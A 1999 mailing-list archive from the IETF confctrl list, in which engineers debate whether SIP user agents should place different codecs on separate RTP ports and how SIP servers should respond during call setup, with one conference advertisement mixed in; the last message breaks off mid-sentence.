Received: from ce-nfs-1.cisco.com (ce-nfs-1.cisco.com [171.68.201.251] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28510
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 07:29:18 -0700 (PDT)
Received: from glock (glock.cisco.com [171.68.37.125]) by ce-nfs-1.cisco.com (8.8.5/CA/950118) with SMTP id HAA05200; Tue, 20 Apr 1999 07:24:56 -0700 (PDT)
Message-ID: <007701be8b39$93262560$7d2544ab@glock.cisco.com>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "Anders Kristensen" <ak@hplb.hpl.hp.com>, "confctrl" <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
Date: Tue, 20 Apr 1999 09:21:51 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If the application is implemented in this manner, how will it handle a media
stream that changes codecs?

Wouldn't it be simpler for the application to simply pass the media socket
to a "RTP playback" library, and let that library handle all the mess of
decoding, demultiplexing, playing, etc?

Stephen

     |          |         Stephen Sprunk, K5SSS, CCIE #3723
    :|:        :|:        NSA, Network Consulting Engineer
   :|||:      :|||:       14875 Landmark Blvd #400; Dallas, TX
.:|||||||:..:|||||||:.    Pager: 800-365-4578 / 800-901-6078
C I S C O S Y S T E M S   Email: ssprunk@cisco.com

-----Original Message-----
From: Anders Kristensen <ak@hplb.hpl.hp.com>
To: confctrl <confctrl@ISI.EDU>
Date: Tuesday, April 20, 1999 4:54
Subject: Re: SDP media alignment in SIP


>It doesn't seem very outlandish to imagine an application using multiple
>"media handling" applications or software libraries for handling
>different codecs, with each of these apps/libs using separate port
>numbers. The last thing you'd want to do is to demultiplex RTP streams
>at an application level when all actual media handling takes place
>elsewhere.
>
>--
>Anders Kristensen <ak@hplb.hpl.hp.com>,
>http://www-uk.hpl.hp.com/people/ak/
>Hewlett-Packard Labs, Bristol, UK


From confctrl-owner  Tue Apr 20 07:37:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA28689
	for confctrl-outgoing; Tue, 20 Apr 1999 07:37:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28672
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 07:37:14 -0700 (PDT)
Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA29814
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 07:37:13 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id HAA16255
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 07:37:10 -0700 (PDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id PAA11800
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 15:37:08 +0100 (BST)
Message-ID: <371C9113.19ABEFE4@hplb.hpl.hp.com>
Date: Tue, 20 Apr 1999 15:37:08 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <007701be8b39$93262560$7d2544ab@glock.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Stephen Sprunk wrote:
> 
> If the application is implemented in this manner, how will it handle a media
> stream that changes codecs?
> 
> Wouldn't it be simpler for the application to simply pass the media socket
> to a "RTP playback" library, and let that library handle all the mess of
> decoding, demultiplexing, playing, etc?

Yes, that sure sounds simpler but some apps might want to use multiple
such libraries for who knows what reason. Maybe exactly because they
support different sets of codecs.  Anyway, this is getting in to
speculation about how user agents are best structured and that's really
besides the point.

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Apr 20 07:57:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA29818
	for confctrl-outgoing; Tue, 20 Apr 1999 07:57:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA29813
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 07:57:48 -0700 (PDT)
Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA02961
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 07:57:47 -0700 (PDT)
Received: from seawind.research.telcordia.com (seawind [192.4.18.101])
	by thumper.research.telcordia.com (8.9.1a/8.9.1) with ESMTP id KAA15063;
	Tue, 20 Apr 1999 10:57:15 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.research.telcordia.com (8.8.8/8.8.8) id KAA26236;
	Tue, 20 Apr 1999 10:57:14 -0400 (EDT)
Date: Tue, 20 Apr 1999 10:57:14 -0400 (EDT)
From: Christian Huitema <huitema@research.telcordia.com>
Message-Id: <990420105713.ZM26234@seawind.research.bellcore.com>
In-Reply-To: "Tom-PT Taylor" <taylor@nortelnetworks.com>
        "RE: Behavior of SIP Callee user agent" (Apr 20,  9:02am)
References: <C51ED84B6F47D211917A0000F8BCBD11011B4D76@zcard00g.ca.nortel.com>
X-Mailer: Z-Mail (5.0.0 30July97)
To: "Tom-PT Taylor" <taylor@nortelnetworks.com>,
        Christian Huitema <huitema@research.telcordia.com>, confctrl@ISI.EDU
Subject: Re: Behavior of SIP Callee user agent
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Apr 20,  9:02am, Tom-PT Taylor wrote:
> Subject: RE: Behavior of SIP Callee user agent
> Obviously one would return "484 Address Incomplete" rather than "100
Trying"
> in the case of overlap dialling, and would not return the ACM until the
> requisite SAM in the forward direction justified it.

Except when dealing with relays.  It may well be that only the final step
in the signalling chain knows that the address is incomplete.  The
intermediate SIP servers could well send a Trying response...

-- 
Christian Huitema
------------------------------
Please note my new address: huitema@research.telcordia.com
http://www.telcordia.com/

From confctrl-owner  Tue Apr 20 08:04:52 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA00359
	for confctrl-outgoing; Tue, 20 Apr 1999 08:04:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA00352
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 08:04:50 -0700 (PDT)
Received: from smtprich.nortel.com (smtprich.nortel.com [192.135.215.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04146
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 08:04:49 -0700 (PDT)
Received: from zrtpd004.us.nortel.com (actually nrtpd004) 
          by smtprich.nortel.com; Tue, 20 Apr 1999 10:04:30 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <JB0LSL9Z>; Tue, 20 Apr 1999 11:04:28 -0400
Message-ID: <C51ED84B6F47D211917A0000F8BCBD11011B999F@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: confctrl@ISI.EDU
Subject: RE: Behavior of SIP Callee user agent
Date: Tue, 20 Apr 1999 11:03:43 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

But intermediate SIP servers won't send back ACMs.

> -----Original Message-----
> From:	Christian Huitema [SMTP:huitema@research.telcordia.com]
> Sent:	Tuesday, April 20, 1999 10:57 AM
> To:	Taylor, Tom-PT [CAR:5V00-I:EXCH]; Christian Huitema;
> confctrl@isi.edu
> Subject:	Re: Behavior of SIP Callee user agent
> 
> On Apr 20,  9:02am, Tom-PT Taylor wrote:
> > Subject: RE: Behavior of SIP Callee user agent
> > Obviously one would return "484 Address Incomplete" rather than "100
> Trying"
> > in the case of overlap dialling, and would not return the ACM until the
> > requisite SAM in the forward direction justified it.
> 
> Except when dealing with relays.  It may well be that only the final step
> in the signalling chain knows that the address is incomplete.  The
> intermediate SIP servers could well send a Trying response...
> 
> -- 
> Christian Huitema
> ------------------------------
> Please note my new address: huitema@research.telcordia.com
> http://www.telcordia.com/

From confctrl-owner  Tue Apr 20 09:33:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA05503
	for confctrl-outgoing; Tue, 20 Apr 1999 09:33:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA05493
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 09:33:46 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21797
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 09:33:44 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id 2838YXBS; Tue, 20 Apr 1999 18:33:46 +0200
Message-ID: <371CAC62.8FC14118@ellemtel.se>
Date: Tue, 20 Apr 1999 18:33:38 +0200
From: eubpepe <Peter.Peldan@ellemtel.se>
Organization: Ellemtel
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Different applications for each codec is a
> different story. The decode process is only one step in the receiver.
> After decode, the audio must be placed into a playout buffer, loss must
> be compensated for, etc. This is done on a stream by stream basis. So,
> if you had each codec as a different app, these apps would need to feed
> everyting back into a single, common per-media application anyway.

That won't be necessary if the operating system handles mixing of audio
streams itself. In Win32 it should work all right if the audio modules
uses DirectSound in cooperative mode.

> Remember also that the sender can change codecs dynamically as network
> conditions vary. This will introduce interesting synchronization
> problems if each codec is a separate app.

I do not see any problems with this as long as the stream is sent to the
correct port: the other module, probably a dll or similar not a
stand-alone application, is already listening to the correct port and
immediatelt starts decoding the audio and feeds it to the sound card.
The other module expecting the old codec, simply stops receiving audio
packets and hence won't send audio to the soundcard. Should work
smoothly?
> 
> -Jonathan R.
> 
Peter Peldan, PhD
Ellemtel Utvecklings AB
Peter.Peldan@ellemtel.se

From confctrl-owner  Tue Apr 20 10:14:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA07721
	for confctrl-outgoing; Tue, 20 Apr 1999 10:14:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA07716
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 10:14:20 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA06861
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 10:14:19 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id 2838YXCG; Tue, 20 Apr 1999 19:14:21 +0200
Message-ID: <371CB5DF.C85F3F65@ellemtel.se>
Date: Tue, 20 Apr 1999 19:14:07 +0200
From: eubpepe <Peter.Peldan@ellemtel.se>
Organization: Ellemtel
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: Stephen Sprunk <ssprunk@cisco.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <007701be8b39$93262560$7d2544ab@glock.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Stephen Sprunk wrote:
> 
> If the application is implemented in this manner, how will it handle a media
> stream that changes codecs?

I do not see any problems with this as long as the other party
understand that certain codecs have to be sent to other ports. In that
case, there's already a listener on that port that immediately receives
the new stream and directly decodes it. However, if the other party's
audio-module isn't clever enough to send different coded streams to
different ports, there will be a problem.

> 
> Wouldn't it be simpler for the application to simply pass the media socket
> to a "RTP playback" library, and let that library handle all the mess of
> decoding, demultiplexing, playing, etc?

That should be all right as long as you have control over all the
multimedia modules yourself (meaning have written them yourself or
require that they is implemented using exactly this method). In general,
however, I expect that one wants to be able to plug in third party
multimedia components into the SIP-UA and in that case one cannot easily
dictate how to do this without putting severe restrictions on
implementations?

> 
> Stephen

The reason why I defend this usage is that in Ellemtel's SIP-UA we
actually already have a multimedia plug-in architecture, meaning that as
soon as someone would add a third party audio-module in parallell to the
already existing audio-module we would have to above situation.

Peter Peldan, PhD
Ellemtel Utvecklings AB
Peter.Peldan@ellemtel.se

From confctrl-owner  Tue Apr 20 11:32:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA11270
	for confctrl-outgoing; Tue, 20 Apr 1999 11:32:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11265
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 11:32:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA19720
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 11:32:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Apr 20 14:31:24 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id OAA21231;
	Tue, 20 Apr 1999 14:31:22 -0400 (EDT)
Message-ID: <371CC772.1A99274B@dnrc.bell-labs.com>
Date: Tue, 20 Apr 1999 14:29:06 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: eubpepe <Peter.Peldan@ellemtel.se>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371CAC62.8FC14118@ellemtel.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

eubpepe wrote:
> 
> Jonathan Rosenberg wrote:
> >
> > Different applications for each codec is a
> > different story. The decode process is only one step in the receiver.
> > After decode, the audio must be placed into a playout buffer, loss must
> > be compensated for, etc. This is done on a stream by stream basis. So,
> > if you had each codec as a different app, these apps would need to feed
> > everyting back into a single, common per-media application anyway.
> 
> That won't be necessary if the operating system handles mixing of audio
> streams itself. In Win32 it should work all right if the audio modules
> uses DirectSound in cooperative mode.

True. However, after thinking some more, its really important to get the
codecs on the same port. The reason is RTP processing. Lets say the
caller changes codecs. The sequence number space is the same. However,
if these codecs go to different ports (and different apps), the
old-codec app will stop seeing packets, and either think this is loss,
or silence, and in either case do the wrong thing. This is especially
problematic when the codecs change rapidly (as they do with the DTMF
payload format), since this will almost definitely be detected by loss
by the codec-specific application.

Similarly, what about RTCP? Which port would you send RTCP on? Would the
sender effectively need to generate two RTCP streams, one for each
codec? 

So, it seems the best way to handle this is to have a single entity
listening on the port for RTP, and then invoking libraries or other apps
from there to handle specific codecs.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Apr 20 13:20:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA17144
	for confctrl-outgoing; Tue, 20 Apr 1999 13:20:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA17139
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 13:20:07 -0700 (PDT)
Received: from ziggy.stardust.com (root@ns.stardust.com [205.184.205.34])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA10237
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 13:20:06 -0700 (PDT)
Received: from WHITESTAR (dhcp204-106.stardust.com [205.184.204.106])
	by ziggy.stardust.com (8.9.3/8.9.3/Debian/GNU) with SMTP id NAA26471
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 13:03:09 -0700
Message-Id: <3.0.5.32.19990420130409.00952840@stardust.com>
X-Sender: martinb@stardust.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Tue, 20 Apr 1999 13:04:09 -0700
To: confctrl@ISI.EDU
From: Marty Bickford <martinb@stardust.com>
Subject: Education/Research Passes to iBAND2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello Everyone,

Stardust Forums is giving away a number of education and research passes to
iBAND2. This technical conference is focused on Quality of Service-based
Traffic Management, Measuring & Monitoring Traffic, Interdomain & Peered
QoS & IP Multicast, Billing for Premium Services, & more

If you fit this category, simply drop me some email. Of course, if you do
work for an ISP, enterprise or vendor....you're invited too.

Below are some of the highlights of iBAND2.

Sincerely,
Marty Bickford
Conference Director

-----------------------------------------------------------------

iBAND2 - The Internet Bandwidth Management Summit
May 23-25, 1999 in San Francisco, California
http://www.stardust.com/iband2/

-----------------------------------------------------------------

iBAND2 is a one-of-a-kind technical conference where attendees are immersed
in the new Internet bandwidth technologies around the clock. It is your
chance to explore the latest about smart bandwidth--it's not just about
speed. Learn about the new bandwidth management technologies, deployment
strategies, and business opportunities. Share the latest in-depth
information not available anywhere else.

If you are responsible for managing and growing network bandwidth, head for
iBAND2. Explore ideas, insights and experiences with peers, partners and
experts. Hear from the best and brightest minds in the Internet space.

A must attend event for IP Network Professionals in enterprise, ISPs, and
carrier organizations. Are you an enterprise executive looking to harness
your network? Are you a network professional examining the future of your
network? Are you a service provider looking to sell additional services and
not just bandwidth?

Discover how you can make and save money by offering new business services.
Join us at iBAND2.

    Scroll down for details or click on a link.

TECHNOLOGIES COVERED & WHITE PAPER
    http://www.stardust.com/iband2/tech_resources.htm

QUALITY OF SERVICE (QoS) NETWORK SHOWCASE
    http://www.stardust.com/iband2/qos-showcase.htm

FREE MP3 PLAYERS WITH PURCHASE OF CONFERENCE SESSIONS
    http://www.stardust.com/iband2/diamond.htm

LEADING INTERNET TECHNOLOGISTS AT iBAND2 & THE AGENDA
    http://www.stardust.com/iband2/sessions.htm

REGISTER TODAY & SAVE
    https://www.stardust.com/events/iband2/registration.htm



TECHNOLOGIES COVERED & THE INTERNET BANDWIDTH
MANAGEMENT WHITE PAPER
--------------------------
iBAND2 is a one-of-a-kind technical and educational event, exploring the
latest about smart bandwidth-- its not just about speed. Learn about the
new bandwidth management technologies, deployment strategies, and business
opportunities. Share the latest in-depth information not available anywhere
else. Explore ideas with peers, partners and experts.

Hot topics:
* QoS, IP Multicast, DIFFSERV, RSVP, Policy, COPS, Directory
    Standards and Schema
* Quality of Service-based Traffic Management, Measuring &
    Monitoring Traffic, Interdomain & Peered QoS & IP Multicast,
    Billing for Premium Services
* Traffic prioritization, Voice over IP, SLA's, VPN's, Call Centers.
    Streaming Media, and more.

Internet Bandwidth Management White Paper:
Technologies, applications and business opportunities are the focus of an
up-to-date 24 page white paper produced for iBAND. Download it today for
free: http://www.stardust.com/iband2/whitepaper.hm


QUALITY OF SERVICE (QoS) NETWORK SHOWCASE
-----------------------------------------
15 vendors are collaborating to build an end-to-end QoS Network. Attendees
will experience the benefits and comparisons between applications with QoS
enabled and disabled in a saturated network environment.  Discuss the
options and capabilities with the engineers who designed and built this
extensive network.  View policy management, directory services, traffic
management and monitoring and more.

http://www.stardust.com/iband2/qos-showcase.htm

Participating companies include: 3Com, Cisco, Extreme, IPHighway, IPivot,
Lucent, Microsoft, IBM, Intel, Novell, Orchestream, Qosnetics, Xedia,
Netcom Systems, Nortel, and more.


FREE MP3 PLAYERS WITH PURCHASE OF CONFERENCE SESSIONS
-----------------------------------------
We know you can't attend more than one session at a time. In addition to
receiving all materials electronically, Diamond Attendees receive a FREE
Portable Conference Player (MP3 Player). We'll also include conference
sessions from iBAND98 and MCAST99.

http://www.stardust.com/iband2/diamond.htm


THE LEADERS & THEIR SESSIONS
----------------------------------------------
Who will be there? Leading Internet technologists from the IETF, vendor and
service providers.

Our keynote:
Scott Bradner of Harvard University.
Mr. Bradner is the co director of the Transport Area in the IETF, is a
member of the IESG, and an elected trustee of the Internet Society where he
serves as the Vice President for Standards. He was also co director of the
IETF IP next generation effort and is coeditor of "IPng: Internet Protocol
Next Generation" from Addison-Wesley.

Other distinguished presenters include:
* Radia Perlman, Sun Microsystems
* Shai Herzog, IPHighway
* Bob Quinn, Stardust Forums
* Winston Bumpus, Novell & DMTF
* Benjamin Teitelbaum, Internet2
* Hal Sandick, Nortel
* Yoram Bernet, Microsoft
* Vasilis Theoharakis, 3Com
* Rod Murchison, Newbridge
* Ashley Stephenson, Xedia Corporation
* Ed Perry, Hewlett-Packard
* Charlie Muirhead, Orchestream
* Mark Fishburn, NetCom Systems
* Doug Sherman, 3Com
* Adam Dunstan, Avici Systems
* Tom Clarkson, IPivot
* Jude O'Reilly, Aventail
* Jeff Young, Cable & Wireless
* Vijay Srinivasan, Torrent Networking Technologies
* J. Christopher Landes, Lucent
* and of course...many more.

Click here for more details about the technical conference
http://www.stardust.com/iband2/sessions.htm


REGISTER
----------------------------------------------
ACT FAST.  Sign up before April 23rd and save $200
http://www.stardust.com/iband2/

Nortel Networksis the Platinum Sponsor, IP Multicast Initiative & the
Quality of Service Forum are Alliance Sponsors, and America's Network, Data
Communications, InternetWeek and tele.com are Publication Sponsors of iBAND2.

Contact Stardust Forums at (408)879-8080 with any questions regarding iBAND2.

See you there.
---
Marty Bickford  - 408.879.8080 (8081-fax)
Stardust Forums - http://www.stardust.com

iBAND2(sm) - The Internet Bandwidth Management Summit

From confctrl-owner  Tue Apr 20 23:55:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA10815
	for confctrl-outgoing; Tue, 20 Apr 1999 23:55:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA10810
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 23:55:44 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA27568
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 23:55:43 -0700 (PDT)
Received: from ellemtel.se (danelectro.pcs.ellemtel.net [194.237.226.77]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id 2838YX13; Wed, 21 Apr 1999 08:55:45 +0200
Message-ID: <371D7673.174A8681@ellemtel.se>
Date: Wed, 21 Apr 1999 08:55:47 +0200
From: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371CAC62.8FC14118@ellemtel.se> <371CC772.1A99274B@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:
> 
> True. However, after thinking some more, its really important to get the
> codecs on the same port. The reason is RTP processing. Lets say the
> caller changes codecs. The sequence number space is the same. However,
> if these codecs go to different ports (and different apps), the
> old-codec app will stop seeing packets, and either think this is loss,
> or silence, and in either case do the wrong thing. This is especially
> problematic when the codecs change rapidly (as they do with the DTMF
> payload format), since this will almost definitely be detected by loss
> by the codec-specific application.

Why do we need to use the same sequence number space? If the new
codec-stream is to related to new sets of ports isn't it more natural to
start a new RTP/RTCP session with new sequencenumbers? 

With a permanent switch to the new codec, the old RTP-listener would
simply notice that packets stop coming, and for temporary switches like
DTMF there would be a period of silence in the old stream much like when
silence detection/voice activation is used.

> So, it seems the best way to handle this is to have a single entity
> listening on the port for RTP, and then invoking libraries or other apps
> from there to handle specific codecs.

That may be the case, but such a requirement will severely restrict the
possibility of using a plug-in architecture in the UA. One would have to
specify an API between the RTP-module and the multimedia modules. And if
that API should allow true dynamical linking one would probably have to
use COM or Java to implement the RTP-part. (If using a dll -- or other
shared library -- for the RTP-module all multimedia modules using this
method would have to have access to exact the same RTP-dll at build
time, which again would severely restrict the possibility of using a
plug-in architecture)

Why is it so important to line up all media descriptors? Wouldn't it
simply be best to drop that requirement?
> 
> -Jonathan R.
> 
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

Peter Peldan, PhD
Ellemtel Utvecklings AB
Peter.Peldan@ellemtel.se

From confctrl-owner  Wed Apr 21 07:54:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA24597
	for confctrl-outgoing; Wed, 21 Apr 1999 07:54:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24592
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 07:54:45 -0700 (PDT)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14678
	for <confctrl@ISI.EDU>; Wed, 21 Apr 1999 07:54:44 -0700 (PDT)
Received: from omta4.mcit.com (omta4.mcit.com [166.37.204.6])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id OAA17185 for <confctrl@ISI.EDU>; Wed, 21 Apr 1999 14:54:41 GMT
Received: from localHost ([166.35.151.149]) by omta4.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990421145441.YIVY8403@localHost> for <confctrl@ISI.EDU>;
          Wed, 21 Apr 1999 09:54:41 -0500
Date: Wed, 21 Apr 1999 09:51 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: confctrl@ISI.EDU
Subject: Re: Behavior of SIP Callee user agent
Message-Id: <19990421145441.YIVY8403@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Of course, as has been pointed out, there are other, harder problems. If
>the 180 causes local ringback at the originating gateway, and is then
>followed by a 600, this causes the caller to hear a transition from
>ringing to fast busy. I don't see any solution to this, however. 

 I don't understand when such a scenario would come up in normal session
setups.  A 180 is presumably going to come from a terminating SIP client
that got the Invite and is in the process of alerting the callee.  Why
would a 600 follow that?  In the case of terminating at a PSTN gateway,
I presume it would send a 183 after it received some kind of confirmation
from the PSTN that alerting may be in progress.  I am mainly familiar
